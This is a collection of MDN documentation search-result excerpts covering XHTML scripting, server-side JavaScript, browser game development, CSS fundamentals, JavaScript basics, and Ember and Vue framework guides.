...r execute the javascript. netscape 7.0x/mozilla 1.0.x do not apply css but does execute the javascript. internet explorer 5.5+ can not display the document. (see talk:properly_using_css_and_javascript_in_xhtml_documents of this ascertation. - xmlguru) inline style and script containing double dashes another problem with using comments to surround javascript in xhtml is related to the problems which can occur if comments contain double dashes (——). <script type="text/javascript"> <!-- var i; var sum = 0; for (i = 10; i > 0; --i) { sum += i; } // --> </script> using cdata instead of comments properly enclosing script contents inside of cdata sections can cause problems in downlevel browsers which do not understand xml. however, it is possible to combine javascript...
...r script in xhtml replacing inline style and script with external files containing the css rules and javascript is the best approach for authoring xhtml in a backwardly compatible fashion that will not break if the mime type of the content is changed from text/html to application/xhtml+xml. this recommendation may seem rather strong however it is made with the intention of reducing future problems with xhtml content when the transition from serving xhtml as text/html to application/xhtml+xml occurs in the next few years. if you only test your xhtml when it is deployed as text/html, then you may be introducing problems such as described in this article without realizing it. moving css and javascript into separate files is the safe approach with regard to changes in how your xhtml is served...
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
txt_message = new ext.form.textarea({ name: "message", fieldlabel: "message", width: 200 }); // create a button used to send the form details. btn_comments = new ext.button({ text: "submit", fieldlabel: "", handler: formhandler }); // create the form panel, attach the inputs form_comments = new ext.form.formpanel({ labelalign: "right", width: 400, title: "comments", items: [ txt_name, txt_email, txt_message, btn_comments ], renderto: "form-comments" }); }); </script> the code in listing 6 starts by hooking in the ext js library which is used to produce the ui elements of the form. next a script named validatecomments.js is hooked in with the runat attribute set to both. the function defined within this file checks the...
...t_message.getvalue(); // if the form passes validation client-side, submit results to the processor if( validatecomments( name, email, message ) ) { formprocessor( name, email, message ); // update the logger with the most recent entry document.getelementbyid( "out-logger" ).innerhtml += "name: " + name + "<br/>email: " + email + "<br/>message: " + message + "<br/><br/>"; } else { ext.msg.alert( "error", "please enter the required fields" ); } } </script> <!-- processes the form contents --> <script runat="server"> function formprocessor( name, email, message ) { // perform the same validation of the data server-side if( !validatecomments( name, email, message ) ) { throw "incomplete data was submitted."; } // assemble the string var s = "name: " + name + "<br/>" + "ema...
...if it passes validation, the formprocessor server-side function is invoked which does the same validation check using the shared validatecomments function. finally, the comment information is assembled into a string and appended to the dump file. database access for more robust data management, jaxer comes...
Writing JavaScript for XHTML - Archive of obsolete content
t explorer was incapable of handling xhtml sent with the official xhtml media type at all. (rather than displaying content, it would present the user with a file download dialog.) but it is also founded in the experience that javascript, authored carefully for html, can break when placed with an xml environment. this article shows some of the reasons alongside with strategies to remedy the problems. it will encourage web authors to use more xml features and make their javascript interoperable with real xhtml applications. (note that xhtml documents which behave correctly in both application/xhtml+xml and text/html environments are sometimes known as 'polyglot' documents.) to test the following examples locally, use firefox's extension switch. just write an ordinary (x)html file and save i...
... you can use this: <script type="text/javascript"><!--//--><![cdata[//><!-- ... //--><!]]></script> <!-- (for styles, it is different) --> <style type="text/css"><!--/*--><![cdata[/*><!--*/ ... /*]]>*/--></style> see this document for more on the issues related to application/xhtml+xml and text/html (at least as far as xhtml 1.* and html 4; html5 addresses many of these problems). problem: names in xhtml and html are represented in different cases scripts that used getelementsbytagname() with an upper case html name no longer work, and attributes like nodename or tagname return upper case in html and lower case in xhtml. solution: use or convert to lower case for methods like getelementsbytagname(), passing the name in lower case will work in both html and xhtml. for...
...ther nodes. this is xml proof, as long as you keep the namespace problem in focus (e.g., there is a document.createelementns method). of course, you can still use strings like in document.write(), but it takes a little more effort. for example: var string = '<div xmlns="http://www.w3.org/999/xhtml"><h1>hello world!</h1></div>'; var parser = new domparser(); var documentfragment = parser.parsefromstring(string, "text/xml"); body.appendchild(documentfragment); // assuming 'body' is the body element but be aware that if your string is not well-formed xml (e.g., you have an & where it should not be), then this method will crash, leaving you with a parser error. problem: i want to remain forward compatible! given the direction away from formatting attributes and the possibility of xhtml bec...
Community - Archive of obsolete content
if you know of useful mailing lists, newsgroups, forums, or other communities related to xforms, please link to them here. view mozilla forums... ...
... if you know of useful mailing lists, newsgroups, forums, or other communities related to xforms, please link to them here. view mozilla forums... ...
... if you know of useful mailing lists, newsgroups, forums, or other communities related to xforms, please link to them here. view mozilla forums... ...
Examples - Game development
th available on 2d screens and on vr hmds (settings / switch to vr mode). tanx a multiplayer tank battle game, created with playcanvas. hyper vanguard force a neat vertically scrolling space shooter. swooop a plane flying game: control your plane and collect the jewels. again, created with playcanvas. save the day fly your rescue chopper around the disaster area and save the stranded victims (ga.me.) polycraft a shipwreck 'n survive game. explore the island and defeat the monsters. hexgl a fast-paced, futuristic racing game. dead trigger 2 classic zombie splatter action, made with unity3d. angry bots a futuristic aliens-esque isometric 3rd person shooter demo, made with unity3d. nutmeg cute retro scrolling platforming action. back to candyland a match-3 (candy crush) styl...
...side-scrolling platform shooter. x-type vertically scrolling space shooter demo. xibalba retro (doom-style) first person shooter. gorescript another retro style first person shooter. the wizard a turn-based, dungeon puzzle game. hextris tetris-like hexagonal puzzle game. 2048 a sliding number tiles puzzle game. bananabread a multiplayer, 3d first-person shooter game developed using emscripten, webgl, and webrtc. monster madness a webgl and asm.js-based multiplayer online shooter, developed by nom nom games and trendy entertainment. auralux webgl and asm.js-based strategy game: capture all the suns to win! browserquest a mmorpg created by the little workshop and mozilla. shoot the rocks a canvas 2d single-player shooter in the style of atari's classic asteroids arcade ga...
... exploration/rpg. qbqbqb a sci-fi themed arcade puzzle game. bullet force 3d multiplayer first-person shooter. elliot quest 8-bit graphic retro adventure game. rpg mo isometric mmorpg with similarities to runescape classic and ultima. katan.io html5 and canvas implementation of settlers of catan. pyramid solitaire ancient egypt pyramid solitaire app ported to webassembly with emscripten assorted demos wavegl webgl visualizer for sound sources. canvas airport simulation animated map showing planes taking off and landing at airports, along with flight path patterns. animation physics 3d rendering of terrain and cars, using ammo.js for the physics calculations. volumetric particle flow physics simulation of flowing liquid. explosion and chain reaction explodi...
Introduction to game development for the Web - Game development
better target platform for your game. as we like to say, "the web is the platform." let's take a look at the core of the web platform: function technology audio web audio api graphics webgl (opengl es 2.0) input touch events, gamepad api, device sensors, webrtc, full screen api, pointer lock api language javascript (or c/c++ using emscripten to compile to javascript) networking webrtc and/or websockets storage indexeddb or the "cloud" web html, css, svg (and much more!) the business case as a game developer, whether you're an individual or a large game studio, you want to know why it makes sense to target the web with your next game project. let's look at how the web can help you. ...
...lytics! instead of relying on someone else to make all the decisions about what analytics you need, you can collect your own -- or choose the third party that you like the best -- to gather information about your sales and your game's reach. you get to manage your customer relationship more closely, in your own way. no more having customer feedback filtered through an app store's limited mechanisms. engage with your customers the way you want to, without a middleman. your players can play your game anywhere, anytime. because the web is ubiquitous, your customers can check their game's status on their phones, tablets, their home laptops, their work desktops, or anything else. web technologies for game developers for the tech folks, let's dig into the apis the web brings to the table that...
...oaded every time it's needed. also useful to help make your game playable even when the user isn't connected to the web (such as when they're stuck on an airplane for hours on end). javascript javascript, the programming language used on the web, is blazing fast in modern browsers and getting faster all the time. use its power to write the code for your game, or look at using technologies like emscripten or asm.js to easily port your existing games. pointer lock api the pointer lock api lets you lock the mouse or other pointing device within your game's interface so that instead of absolute cursor positioning you receive coordinate deltas that give you more precise measurements of what the user is doing, and prevent the user from accidentally sending their input somewhere else, thereby m...
2D collision detection - Game development
the algorithm works by ensuring there is no gap between any of the 4 sides of the rectangles. any gap means a collision does not exist. ...
...o circle, circle to circle). generally you will have a simple generic shape that covers the entity known as a "hitbox" so even though collision may not be pixel perfect, it will look good enough and be performant across multiple entities. this article provides a review of the most common techniques used to provide collision detection in 2d games. axis-aligned bounding box one of the simpler forms of collision detection is between two rectangles that are axis aligned — meaning no rotation. the algorithm works by ensuring there is no gap between any of the 4 sides of the rectangles. any gap means a collision does not exist. var rect1 = {x: 5, y: 5, width: 50, height: 50} var rect2 = {x: 20, y: 10, width: 10, height: 10} if (rect1.x < rect2.x + rect2.width && rect1.x + rect1.width > r...
...d to consider performance optimization, covered in the next section. implementing sat is out of scope for this page so see the recommended tutorials below: separating axis theorem (sat) explanation collision detection and response collision detection using the separating axis theorem sat (separating axis theorem) separating axis theorem collision performance while some of these algorithms for collision detection are simple enough to calculate, it can be a waste of cycles to test *every* entity with every other entity. usually games will split collision into two phases, broad and narrow. broad phase broad phase should give you a list of entities that *could* be colliding. this can be implemented with a spacial data structure that will give you a rough idea of where the entity exi...
Mobile touch controls - Game development
in this tutorial, we will see how easy it is to implement mobile controls in an html5 game, and enjoy playing on a mobile touch-enabled device. note: the game captain rogers: battle at andromeda is built with phaser and managing the controls is phaser-based, but it could also be done in pure javascript. the good thing about using phaser is that it offers helper variables and functions for easier and faster development, but it's entirely up to you which approach you to choose. ...
...g correctly we can output the x and y positions using the output element. the preventdefault() function is needed to prevent the browser from moving — without it you'd have the default behaviour, and the canvas would be dragged around the page, which would show the browser scroll bars and look messy. touch events in phaser we don't have to do this on our own; frameworks like phaser offer systems for managing touch events for us — see managing the touch events. pointer theory a pointer represents a single finger on the touch screen. phaser starts two pointers by default, so two fingers can perform an action at once. captain rogers is a simple game — it can be controlled by two fingers, the left one moving the ship and the right one controlling the ship's gun. there's no multitouch o...
...stick being pressed can be handled during the gameplay in the update function like so: if(this.stick.isdown) { // move the player } we can adjust the player's velocity based on the current angle of the stick and move him appropriately. summary that covers adding touch controls for mobile; in the next article we'll see how to add keyboard and mouse support. overview: control mechanisms next ...
Unconventional controls - Game development
implementing mobile and desktop controls is recommended is a must, and gamepad controls add that extra experience. but imagine going even further — in this article we will explore various unconventional ways to control your web game, some more unconventional than others. tv remote playing games on a tv screen doesn't always have to be done through consoles. there's already a gamepad api working on the desktop computers, so we can imitate the experience, but we can go even further. modern smart tvs can handle html5 games, because they have a built-in browser that can be used as a gaming platform. ...
...ional alternative. you can use it to scroll a page hands-free, or play theremin, but it should also be enough to move the ship up and down the screen if implemented correctly. proximity api another interesting idea is to use the built-in proximity sensors of your hardware to detect how far an object, for example a hand, is from the given sensor. it could work similar to the doppler effect in terms of manipulating the player's ship on the screen by moving your hand closer or further from the device. an event listener for device proximity would look like this: window.addeventlistener('deviceproximity', function(event) { var min = event.min; var max = event.max; var proximity = event.value; }); the min and max values are the minimum and the maximum distances respectively betwee...
...gpio driver allows you to connect a 10 mohm resistor to a digital pin on your arduino or raspberry pi to control your robots with bananas, clay, or drawable circuitry. summary i hope you liked the experiments — if you have any others that you think might interest other people, feel free to add details of them here. and remember: have fun making games! previous overview: control mechanisms ...
Assessment: Accessibility troubleshooting - Learn web development
panel, feel free to put them in appropriate <style> / <script> elements. the finished assessment site should look like so: you will see some differences/issues with the display of the starting state of the assessment — this is mainly due to the differences in the markup, which in turn cause some styling issues as the css is not applied properly. don't worry — you'll be fixing these problems in the upcoming sections! note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. project brief for this project, you are presented with a fictional nature site displaying a "factual" article about bears. as it stands, it has a number of accessibility issues — your task is to explore the existing site and fix them to the best ...
... the images are currently inaccessible to screenreader users. can you fix this? the audio player the <audio> player isn't accessible to hearing impaired (deaf) people — can you add some kind of accessible alternative for these users? the <audio> player isn't accessible to those using older browsers that don't support html5 audio. how can you allow them to still access the audio? the forms the <input> element in the search form at the top could do with a label, but we don't want to add a visible text label that would potentially spoil the design and isn't really needed by sighted users. how can you add a label that is only accessible to screenreaders? the two <input> elements in the comment form have visible text labels, but they are not unambiguously associated with their labe...
...ible to screenreaders? the two <input> elements in the comment form have visible text labels, but they are not unambiguously associated with their labels — how do you achieve this? note that you'll need to update some of the css rule as well. the show/hide comment control the show/hide comment control button is not current keyboard-accessible. can you make it keyboard accessible, both in terms of focusing it using the tab key, and activating it using the return key? the table the data table is not currently very accessible — it is hard for screenreader users to associate data rows and columns together, and the table also has no kind of summary to make it clear what it shows. can you add some features to your html to fix this problem? other considerations? can you list two more id...
Cascade and inheritance - Learn web development
to understand — the way that the cascade behaves is key to understanding css. at some point, you will be working on a project and you will find that the css you thought should be applied to an element is not working. usually the problem is that you have created two rules which could potentially apply to the same element. the cascade, and the closely-related concept of specificity, are mechanisms that control which rule applies when there is such a conflict. which rule is styling your element may not be the one you expect, so you need to understand how these mechanisms work. also significant here is the concept of inheritance, which means that some css properties by default inherit values set on the current element's parent element, and some don't. this can also cause some behavior that ...
...on a declaration with the same specificity later in the source order, or one with a higher specificity. it is useful to know that !important exists so that you know what it is when you come across it in other people's code. however, we strongly recommend that you never use it unless you absolutely have to. !important changes the way the cascade normally works, so it can make debugging css problems really hard to work out, especially in a large stylesheet. one situation in which you may have to use it is when you are working on a cms where you can't edit the core css modules, and you really want to override a style that can't be overridden in any other way. but really, don't use it if you can avoid it. the effect of css location finally, it is also useful to note that the importance of a...
... not applying as expected. it could be a specificity issue. ...
Fundamental CSS comprehension - Learn web development
t becomes.) beware! there are two errors in the provided rulesets. using any technique that you know, track these down and fix them before moving on. new rulesets you need to write: write a ruleset that targets both the card header, and card footer, giving them both a computed total height of 50px (including a content height of 30px and padding of 10px on all sides.) but express it in ems. the default margin applied to the <h2> and <p> elements by the browser will interfere with our design, so write a rule that targets all these elements and sets their margin to 0. to stop the image from spilling out of the main business card content (the <article> element), we need to give it a specific height. set the <article>'s height to 120px, but expressed in ems. also give it a background...
... of the main business card content (the <article> element), we need to give it a specific height. set the <article>'s height to 120px, but expressed in ems. also give it a background color of semi-transparent black, resulting in a slightly darker shade that lets the background red color shine through a bit too. write a ruleset that gives the <h2> an effective font size of 20px (but expressed in ems) and an appropriate line height to place it in the center of the header's content box. recall from earlier that the content box height should be 30px — this gives you all the numbers you need to calculate the line height. ...
...recall from earlier that the content box height should be 30px — this gives you all the numbers you need to calculate the line height. ...
Combinators - Learn web development
do this: p ~ img in the example below we are selecting all <p> elements that come after the <h1>, and even though there is a <div> in the document as well, the <p> that comes after it is selected. using combinators you can combine any of the selectors that we discovered in previous lessons with combinators in order to pick out part of your document. for example if we want to select list items with a class of "a", which are direct children of a <ul>, i could use the following. ul > li[class="a"] { } take care however when creating big lists of selectors that select very specific parts of your document. it will be hard to reuse the css rules as you have made the selector very specific to the location of that element in the markup. it is often better to create a simple class and app...
...be hard to reuse the css rules as you have made the selector very specific to the location of that element in the markup. it is often better to create a simple class and apply that to the element in question. that said, your knowledge of combinators will come in very useful if you need to get to something in your document and are unable to access the html, perhaps due to it being generated by a cms. test your skills! we have covered a lot in this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: selectors. moving on this is the last section in our lessons on selectors. next we will move on to another important part of css — the css box model. pr...
...ther important part of css — the css box model. ...
CSS building blocks - Learn web development
article and its sub-articles, we'll run through the different types in great detail, seeing how they work. the sub-articles are as follows: type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model everything in css has a box around it, and understanding these boxes is key to being able to create layouts with css, or to align items with other items. in this lesson, we will take a proper look at the css box model, in order that you can move onto more complex layout tasks with an understanding of how it works and the terminology that relates to it. backgrounds and borders in this lesson we will take a look at some of the creative things you can do with css backgrounds and borders. from adding gradients, background images, a...
...ept in css — overflow. overflow is what happens when there is too much content to be contained comfortably inside a box. in this guide, you will learn what it is and how to manage it. css values and units every property used in css has a value or set of values that are allowed for that property. in this lesson, we will take a look at some of the most common values and units in use. sizing items in css in the various lessons so far you have come across a number of ways to size items on a web page using css. understanding how big the different features in your design will be is important, and in this lesson, we will summarize the various ways elements get a size via css and define a few terms around sizing that will help you in the future. images, media, and form elements in this lesso...
...understanding what is and isn't possible can save some frustration, and this lesson will highlight some of the main things that you need to know. ...
What text editors are available? - Learn web development
st editors specify on their website whether they support windows or mac, though some editors only support certain versions (say, only windows 7 or later and not vista). if you're running ubuntu, your best bet is to search within the ubuntu software center. in general, of course, the linux/unix world is a pretty diverse place where different distros work with different, incompatible packaging systems. that means, if you've set your heart on an obscure text editor, you may have to compile it from source yourself (not for the faint-hearted). what kind of technologies do i want to manipulate? generally speaking, any text editor can open any text file. that works great for writing notes to yourself, but when you're doing web development and writing in html, css, and javascript, you can produce ...
...ns. editors vary widely in flexibility, so check beforehand. it's not hard to find a text editor that can change color scheme, but if you want hefty customizing you may be better off with an ide. install and set up installing a text editor is usually quite straightforward. the method varies based on your platform but it shouldn't be too hard: windows. the developers will give you an .exe or .msi file. sometimes the software comes in a compressed archive like .zip, .7z, or .rar, and in that case you'll need to install an additional program to extract the content from the archive. windows supports .zip by default. mac. on the editor's website you can download a .dmg file. some text editors you can find directly in the apple store to make installation even simpler. linux. in the most pop...
...lly check the installation instructions on the text editor's website. when you install a new text editor, your os will probably continue to open text files with its default editor until you change the file association. these instructions will help you specify that your os should open files in your preferred editor when you double-click them: windows windows 8 windows 7 older systems mac os x linux ubuntu unity gnome kde next steps now that you have a good text editor, you could take some time to finalize your basic working environment, or, if you want to play with it right away, write your very first web page. ...
How can we design for all types of users? - Learn web development
> </body> </html> a percent-based css will look like this: body { font-size:100%; } /* 100% of the browser's base font size, so in most cases this will render as 16 pixels */ h1 { font-size:200%; } /* twice the size of the body, thus 32 pixels */ span.subheading { font-size:50%; } /* half the size of the h1, thus 16 pixels to come back to the original size */ the same problem expressed with ems: body { font-size:1em; } /* 1em = 100% of the browser's base font size, so in most cases this will render as 16 pixels */ h1 { font-size:2em; } /* twice the size of the body, thus 32 pixels */ span.subheading { font-size:0.5em; } /* half the size of the h1, thus 16 pixels to come back to the original size */ as you can see, the math quickly gets daunting when you have to keep track of the paren...
... will be very happy with them; let older browsers display fonts with their own internal engine. browser's engines will ignore any property or value in the css if they can't cope with them, so that your website is still usable if not true to your designer's vision. older browsers are on the way out anyway. note: your mileage may vary. if you have to cater to older browsers, you'll have to use ems and do a bit more math. line width there is a longstanding debate about line length on the web, but here's the story. back when we had newspapers, printers realized that the reader's eyes would have trouble going from one line to the next if the lines were too long. the solution? columns. of course the problem doesn't go away when we switch to the web. the reader's eyes act like a shuttle goi...
...provide a text transcript of the video/audio file. image compression some users may choose to display images, but still have limited bandwidth available, especially in developing countries and on mobile devices. if you want a successful website, please compress your images. there are various tools to help you, either online or local: installed software. imageoptim (mac), optipng (all platforms), pngcrush (dos, unix/linux) online tools. yahoo's smushit!, dynamic drive's online image optimizer (which can convert automatically from one format to another if it's more bandwidth-efficient) ...
What is the difference between webpage, website, web server, and search engine? - Learn web development
in this article, we describe various web-related concepts: web pages, websites, web servers, and search engines. these terms are often confused by newcomers to the web or are incorrectly used. let's learn what they each mean! prerequisites: you should know how the internet works. objective: be able to describe the differences between a web page, a website, a web server, and a search engine. summary as with any area of knowledge, the web comes with a lot of jargon. don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). however, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. it's easy to confuse these terms sometimes since they refer...
...comes with a lot of jargon. don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). however, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. it's easy to confuse these terms sometimes since they refer to related but different functionalities. in fact, you'll sometimes see these terms misused in news reports and elsewhere, so getting them mixed up is understandable! we'll cover these terms and technologies in more detail as we explore further, but these quick definitions will be a great start for you: web page a document which can be displayed in a web browser such as firefox, google chrome, opera, microsoft internet explorer or edge, or apple's safari. these are also oft...
...dynamics, statics, etc. (the webpages). webpages can each be found at a unique location (url). the search index is like the search engine. each book has its own unique location in the library (two books cannot be kept at the same place) which is specified by the catalog number. active learning there is no active learning available yet. deeper dive so, let's dig deeper into how those four terms are related and why they are sometimes confused with each other. web page a web page is a simple document displayable by a browser. such documents are written in the html language (which we look into in more detail in other articles). a web page can embed a variety of different types of resources such as: style information — controlling a page's look-and-feel scripts — which add interac...
What are browser developer tools? - Learn web development
to get to the debugger: firefox: select ➤ web developer ➤ debugger or press ctrl + shift + s to open the javascript debugger. if the tools are already displayed, click on the debugger tab. chrome: open the developer tools and then select the sources tab. (opera works the same way.) edge and internet explorer 11: press f12 and then, ctrl +...
...ne of the debugger. source code set breakpoints where you want to pause execution. in the following image, the highlight on the number 18 shows that the line has a breakpoint set. watch expressions and breakpoints the right-hand pane shows a list of the watch expressions you have added and breakpoints you have set. in the image, the first section, watch expressions, shows that the listitems variable has been added. you can expand the list to view the values in the array. the next section, breakpoints, lists the breakpoints set on the page. in example.js, a breakpoint has been set on the statement listitems.push(inputnewitem.value); the final two sections only appear when the code is running. the call stack section shows you what code was executed to get to the current line. you c...
... find out more find more out about the javascript console in different browsers: firefox web console ie javascript console chrome javascript console (opera's inspector works the same as this) safari console ...
Document and website structure - Learn web development
<p>donec ut librero sed accu vehicula ultricies a non tortor. lorem ipsum dolor sit amet, consectetur adipisicing elit. aenean ut gravida lorem. ut turpis felis, pulvinar a semper sed, adipiscing id dolor.</p> <p>pelientesque auctor nisi id magna consequat sagittis. curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. ut convallis libero in urna ultrices accumsan. donec sed odio eros.</p> <h3>another subsection</h3> <p>donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. in rutrum accumsan ultricies. mauris vitae nisi at sem facilisis semper ac in est.</p> <p>vivamus fermentum semper porta. nunc diam velit, adipscing ut tristique vit...
...defines a specific header for that section (try not to confuse this with titles and headings). <nav> contains the main navigation functionality for the page. secondary links, etc., would not go in the navigation. <footer> represents a group of end content for a page. non-semantic wrappers sometimes you'll come across a situation where you can't find an ideal semantic element to group some items together or wrap some content. sometimes you might want to just group a set of elements together to affect them all as a single entity with some css or javascript. for cases like these, html provides the <div> and <span> elements. you should use these preferably with a suitable class attribute, to provide some kind of label for them so they can be easily targeted. <span> is an inline non-semanti...
...page. note down what you want to have common to every page. next, draw a rough sketch of what you might want the structure of each page to look like (it might look like our simple website above). note what each block is going to be. now, brainstorm all the other (not common to every page) content you want to have on your website — write a big list down. next, try to sort all these content items into groups, to give you an idea of what parts might live together on different pages. this is very similar to a technique called card sorting. now try to sketch a rough sitemap — have a bubble for each page on your site, and draw lines to show the typical workflow between pages. the homepage will probably be in the center, and link to most if not all of the others; most of the pages in a smal...
Storing the information you need — Variables - Learn web development
ll start to become second nature. another special thing about variables is that they can contain just about anything — not just strings and numbers. variables can also contain complex data and even entire functions to do amazing things. you'll learn more about this as you go along. note: we say variables contain values. this is an important distinction to make. variables aren't the values themselves; they are containers for values. you can think of them being like little cardboard boxes that you can store things in. declaring a variable to use a variable, you've first got to create it — more accurately, we call this declaring the variable. to do this, we type the keyword var or let followed by the name you want to call your variable: let myname; let myage; here we're creating t...
...mbers, or big long phrases. variables are case sensitive — so myage is a different variable from myage. one last point: you also need to avoid using javascript reserved words as your variable names — by this, we mean the words that make up the actual syntax of javascript! so, you can't use words like var, function, let, and for as variable names. browsers recognize them as different code items, and so you'll get errors. note: you can find a fairly complete list of reserved keywords to avoid at lexical grammar — keywords. good name examples: age myage init initialcolor finaloutputvalue audio1 audio2 bad name examples: 1 a _12 myage myage var document skjfndskjfnbdskjfb thisisareallylongstupidvariablenameman try creating a few more variables now, with the above guidance in min...
...tring, as at that point the mynumber variable contains a string, '500'. have a look and see what it returns the second time you call it. constants in javascript many programming languages have the concept of a constant — a value that once declared can't be changed. there are many reasons why you'd want to do this, from security (if a third party script changed such values it could cause problems) to debugging and code comprehension (it is harder to accidentally change values that shouldn't be changed and mess things up). in the early days of javascript, constants didn't exist. in modern javascript, we have the keyword const, which lets us store values that can never be changed: const daysinweek = 7; const hoursinday = 24; const works in exactly the same way as let, except that you can...
Object building practice - Learn web development
ach ball needs in order to function in our program: x and y coordinates — the horizontal and vertical coordinates where the ball starts on the screen. this can range between 0 (top left hand corner) to the width and height of the browser viewport (bottom right hand corner). horizontal and vertical velocity (velx and vely) — each ball is given a horizontal and vertical velocity; in real terms these values are regularly added to the x/y coordinate values when we animate the balls, to move them by this much on each frame. color — each ball gets a color. size — each ball gets a size — this is its radius, in pixels. this handles the properties, but what about the methods? we want to get our balls to actually do something in our program. drawing the ball first add the following...
...our loop() function does the following: sets the canvas fill color to semi-transparent black, then draws a rectangle of the color across the whole width and...
...ect(0, 0, width, height); for (let i = 0; i < balls.length; i++) { balls[i].draw(); balls[i].update(); } requestanimationframe(loop); } all programs that animate things generally involve an animation loop, which serves to update the information in the program and then render the resulting view on each frame of the animation; this is the basis for most games and other such programs. our loop() function does the following: sets the canvas fill color to semi-transparent black, then draws a rectangle of the color across the whole width and height of the canvas, using fillrect() (the four parameters provide a start coordinate, and a width and height for the rectangle drawn). this serves to cover up the previous frame's drawing before the next one is drawn. if you don't d...
Object prototypes - Learn web development
's prototype object, and it has. so the method is called, and all is good! note: we want to reiterate that the methods and properties are not copied from one object to another in the prototype chain. they are accessed by walking up the chain as described above. note: before ecmascript 2015, there wasn't officially a way to access an object's prototype directly — the "links" between the items in the chain are defined in an internal property, referred to as [[prototype]] in the specification for the javascript language (see ecmascript). most modern browsers, however, do offer property available called __proto__ (that's 2 underscores either side), which contains the object's constructor's prototype object. for example, try person1.__proto__ and person1.__proto__.__proto__ to see what t...
...e to any object types that inherit from object.prototype, including new object instances created from the person() constructor. object.is(), object.keys(), and other members not defined inside the prototype bucket are not inherited by object instances or object types that inherit from object.prototype. they are methods/properties available just on the object() constructor itself. note: this seems strange — how can you have a method defined on a constructor, which is itself a function? well, a function is also a type of object. see the function() constructor reference if you don't believe us. you can check out existing prototype properties for yourself — go back to our previous example and try entering the following into the javascript console: person.prototype the output won...
...perty (containing any required parameters) to create another object instance from that constructor. the constructor is a function after all, so can be invoked using parentheses; you just need to include the new keyword to specify that you want to use the function as a constructor. try this in the console: let person3 = new person1.constructor('karen', 'stephenson', 26, 'female', ['playing drums', 'mountain climbing']); now try accessing your new object's features, for example: person3.name.first person3.age person3.bio() this works well. you won't need to use it often, but it can be really useful when you want to create a new instance and don't have a reference to the original constructor easily available for some reason. the constructor property has other uses. for example, i...
JavaScript — Dynamic client-side scripting - Learn web development
...
... ...
...ing system the site is running on, or even data from other web sites or services. in this module we will explore what apis are, and how to use some of the most common apis you'll come across often in your development work. solving common javascript problems use javascript to solve common problems provides links to sections of content explaining how to use javascript to solve very common problems when creating a webpage. ...
Introduction to the server side - Learn web development
es include php, python, ruby, c#, and nodejs(javascript). the server-side code has full access to the server operating system and the developer can choose what programming language (and specific version) they wish to use. developers typically write their code using web frameworks. web frameworks are collections of functions, objects, rules and other code constructs designed to solve common problems, speed up development, and simplify the different types of tasks faced in a particular domain. again, while both client and server-side code use frameworks, the domains are very different, and hence so are the frameworks. client-side web frameworks simplify layout and presentation tasks while server-side web frameworks provide a lot of “common” web server functionality that you might otherwi...
...unt of data that needs to be sent). the server is not limited to sending information from databases, and might alternatively return the result of software tools, or data from communications services. the content can even be targeted for the type of client device that is receiving it. because the information is in a database, it can also more easily be shared and updated with other business systems (for example, when products are sold either online or in a shop, the shop might update its database of inventory). note: your imagination doesn't have to work hard to see the benefit of server-side code for efficient storage and delivery of information: go to amazon or some other e-commerce site. search for a number of keywords and note how the page structure doesn't change, even though the...
...bs (e.g. the age). continue to visit the site over a few hours/days. eventually, you will start to be redirected to pages explaining how to subscribe, and you will be unable to access articles. this information is an example of session information stored in cookies. notifications and communication servers can send general or user-specific notifications through the website itself or via email, sms, instant messaging, video conversations, or other communications services. a few examples include: facebook and twitter send emails and sms messages to notify you of new communications. amazon regularly sends product e-mails that suggest products similar to those already bought or viewed that you might be interested in. a web server might send warning messages to site administrators alertin...
Ember resources and troubleshooting - Learn web development
and the breakpoint will be placed in the pre-transpiled code for easier correlation to your project code. for more information on sourcemaps, why they're needed, and what the ember-cli does with them, see the advanced use: asset compilation guide. note that sourcemaps are enabled by default. ember-data comes pre-installed; do i need it? not at all. while ember-data solves the most common problems that any app dealing with data will run in to, it is possible to roll your own front-end data client. a common alternative is to any fully-featured front-end data client is the fetch api. using the design patterns provided by the framework, a route using fetch() would look something like this: import route from '@ember/routing/route'; export default class myroute extends route { async mod...
... @data={{this.somedata}} @onchange={{this.setdata}} /> due to the conciseness of using mut, it may be desireable to reach for it. however, mut has unnatural semantics and has caused much confusion over the term of its existence. there have been a coupleof new ideas put together into the form of addons that use the public apis, ember-set-helper and ember-box. both of these try to solve the problems of mut by introducing more obvious / "less magic" concepts, avoiding build-time transforms and implicit glimmer vm behavior. with ember-set-helper: <checkbox @value={{this.somedata}} @ontoggle={{set this "somedata" (not this.somedata)}} /> with ember-box: {{#let (box this.somedata) as |somedata|}} <checkbox @value={{unwrap somedata}} @ontoggle={{update somedata (not this.somed...
...to figure out an ergonomic and simple api for setting data in a template-only context, without backing js. what is the purpose of controllers? controllers are singletons, which may help manage the rendering context of the active route. on the surface, they function much the same as the backing javascript of a component. controllers are (as of january 2020), the only way to manage url query params. ideally, controllers should be fairly light in their responsibilities, delegating to components and services where possible. what is the purpose of routes? a route represents part of the url when a user navigates from place to place in the app. a route has only a couple responsibilities: load the minimally required data to render the route (or view-sub-tree). gate access to the route ...
Styling Vue components with CSS - Learn web development
{ #app { padding: 4rem; } } #app > * { max-width: 50rem; margin-left: auto; margin-right: auto; } #app > form { max-width: 100%; } #app h1 { display: block; min-width: 100%; width: 100%; text-align: center; margin: 0; margin-bottom: 1rem; } </style> if you check the app, you'll see that our todo list is now in a card, and we have some better formatting of our to-do items. now we can go through and begin editing our components to use some of these styles. adding css classes in vue we should apply the button css classes to the <button> in our todoform component. since vue templates are valid html, this is done in the same way to how you might do it in plain html — by adding a class="" attribute to the element. add class="btn btn__primary btn__lg" to your for...
